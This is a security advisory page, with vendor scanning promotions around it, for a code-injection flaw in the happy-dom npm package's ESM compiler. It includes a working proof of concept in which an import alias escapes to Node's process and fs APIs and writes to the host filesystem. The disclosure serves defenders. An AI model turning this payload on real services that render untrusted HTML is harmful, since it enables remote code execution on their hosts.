Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution
CVE-2026-115895 · GHSA-834v-8h66-3h79 · published 23 Oct 2026
How serious is it
- Severity: high, CVSS score 8.8 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-115895?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
happy-dom(npm) >= 17.0.0, <= 21.0.3
How to check
- Run
npm ls happy-domin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
- Or run
npx shippable-dev scan localhost:3000in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
happy-domto 21.0.4 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript.
As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.
This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context.
These issues were confirmed through the public `Window` and `<script type="module">` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem.
## Confirmed affected versions
The PoC was directly tested against:
- `happy-dom@17.0.0`
- `happy-dom@20.0.0`
- `happy-dom@20.1.0`
- `happy-dom@20.14.5`
The same PoC does not trigger on `happy-dom@16.8.1`.
The ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing.
Suggested affected range:
```text
>= 17.0.0, <= 20.14.5
```
No patched version is currently available.
## Preconditions
- JavaScript evaluation is enabled with `enableJavaScriptEvaluation: true`.
- Attacker-controlled HTML or module source is processed by Happy DOM.
- This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.
## Technical details
In `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the named import handler splits an import specifier and extracts its alias:
```ts
const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');
if (alias && name) {
properties.push({ name, alias });
}
```
Unlike the patched `export { ... }` handler, the value of `alias` is not validated as a JavaScript identifier.
It is subsequently inserted directly into generated binding syntax:
```ts
newCodeStart += `let {${properties
.map((property) =>
property.alias
? `"${property.name}": ${property.alias}`
: property.name
)
.join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;
```
Consider the following source:
```js
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```
This is invalid ECMAScript module syntax. Node.js rejects it at the `=` token.
Happy DOM instead transforms it into the equivalent of:
```js
let {
"missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');
```
This generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes.
The `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports:
```ts
if (!match[7] || match[7] === 'esm') {
resolvableCircularImports.push({ url, properties });
}
```
Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.
Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:
```js
globalThis.constructor.constructor(`return process`)()
.getBuiltinModule(`node:fs`)
.mkdirSync(
globalThis.constructor.constructor(`return process`)().cwd() +
`/HAPPY_DOM_RCE_PROOF`
)
```
## Proof of concept
The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`.
### 1. Create `package.json`
```json
{
"name": "happy-dom-import-alias-rce-poc",
"private": true,
"type": "module",
"dependencies": {
"happy-dom": "20.14.5"
}
}
```
### 2. Create `dep.json`
```json
{}
```
### 3. Create `payload.mjs`
This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:
```js
import {
missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
```
### 4. Create `poc.mjs`
```js
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';
const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });
const window = new Window({
url: 'https://poc.local/',
settings: {
enableJavaScriptEvaluation: true,
suppressCodeGenerationFromStringsWarning: true,
fetch: {
virtualServers: [
{
url: 'https://poc.local/',
directory: process.cwd()
}
]
}
}
});
const script = window.document.createElement('script');
script.type = 'module';
script.textContent = `
import {
missing as injected = globalThis.constructor.constructor(\`return process\`)()
.getBuiltinModule(\`node:fs\`)
.mkdirSync(
globalThis.constructor.constructor(\`return process\`)().cwd() +
\`/HAPPY_DOM_RCE_PROOF\`
)
} from './dep.json' with { type: 'json' };
`;
window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();
if (!existsSync(proofDirectory)) {
console.error('[-] Exploit failed: proof directory was not created.');
console.error(
window.happyDOM.virtualConsolePrinter.readAsString()
);
process.exitCode = 1;
} else {
console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}
await window.happyDOM.close();
```
### 5. Run the control test
```console
npm install
node --check payload.mjs
```
Expected result:
```text
SyntaxError: Unexpected token '='
```
This confirms that the source is not valid ESM.
### 6. Run the Happy DOM PoC
…
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79
- github.com/capricorn86/happy-dom/pull/2537
- github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13
- github.com/capricorn86/happy-dom/releases/tag/v21.0.4
- github.com/advisories/GHSA-834v-8h66-3h79
- github.com/capricorn86/happy-dom
Merged from GitHub Advisory Database, OSV. Last updated 26 Oct 2026. All vulnerabilities · RSS · JSON